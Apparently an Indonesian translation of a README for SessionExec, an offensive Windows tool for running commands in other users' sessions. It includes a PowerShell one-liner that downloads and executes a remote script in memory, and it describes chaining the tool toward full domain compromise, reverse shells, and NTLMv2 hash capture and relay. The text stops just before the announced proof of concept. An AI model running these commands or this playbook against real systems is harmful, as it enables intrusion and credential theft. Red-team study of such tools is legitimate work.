SessionExec memungkinkan Anda menjalankan perintah tertentu di Sesi lain di Sistem Windows, baik menargetkan ID sesi tertentu atau Semua sesi, dengan opsi untuk menyembunyikan keluaran perintah.
Alat ini terinspirasi oleh kode eksploitasi EOP COM Session Moniker, yang dirilis lama oleh James Forshaw.
SessionExec menggunakan API Windows untuk menanyakan informasi sesi dan membuat proses dalam sesi tersebut.
Kompilasi SessionExec.cs dengan menjalankan perintah berikut dari Build Tools untuk Visual Studio
csc /reference:System.Runtime.InteropServices.dll /reference:System.Runtime.InteropServices.RuntimeInformation.dll SessionExec.cs /out:SessionExec.exe
Atau Anda dapat menggunakan Invoke-SessionExec.ps1
yang merupakan skrip yang sama, tetapi berjalan di memori menggunakan metode Reflective Load.
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/SessionExec/main/Invoke-SessionExec.ps1')
Anda juga dapat menemukan implementasi PowerShell murni dari alat ini yang dikodekan oleh The-Viper-One di sini
SessionExec.exe[/NoOutput]
Invoke-SessionExec[/NoOutput]
Periksa sesi apa yang tersedia menggunakan perintah quser
. Kemudian jalankan perintah pada sesi tertentu, atau All
Sesi.
Jika Anda menjadi admin lokal pada satu atau beberapa mesin dalam jaringan, dan ada sesi pengguna pada target tersebut, Anda dapat menggunakan SessionExec dan Find-LocalAdminAccess bersama-sama untuk memeriksa apakah ada pengguna yang memiliki akses admin lokal melalui mesin lain di jaringan.
Jika ya, Anda dapat mengulangi proses untuk pengguna yang melakukan sesi di mesin tersebut. Rangkaian tindakan ini secara teori dapat mengarah pada kompromi domain penuh.
Selain itu, Anda dapat memperoleh kembali shell menggunakan Amnesiac, menangkap hash NTLMv2 dan meneruskannya, mengambil TGT, dan banyak lagi, semuanya secara otomatis.
Saya akan mengimplementasikan konsep ini ke dalam Amnesiac, dan bersama dengan The-Viper-One kami juga berupaya mengimplementasikannya ke dalam PsMapExec.
Untuk saat ini, berikut adalah Proof of Concept (PoC):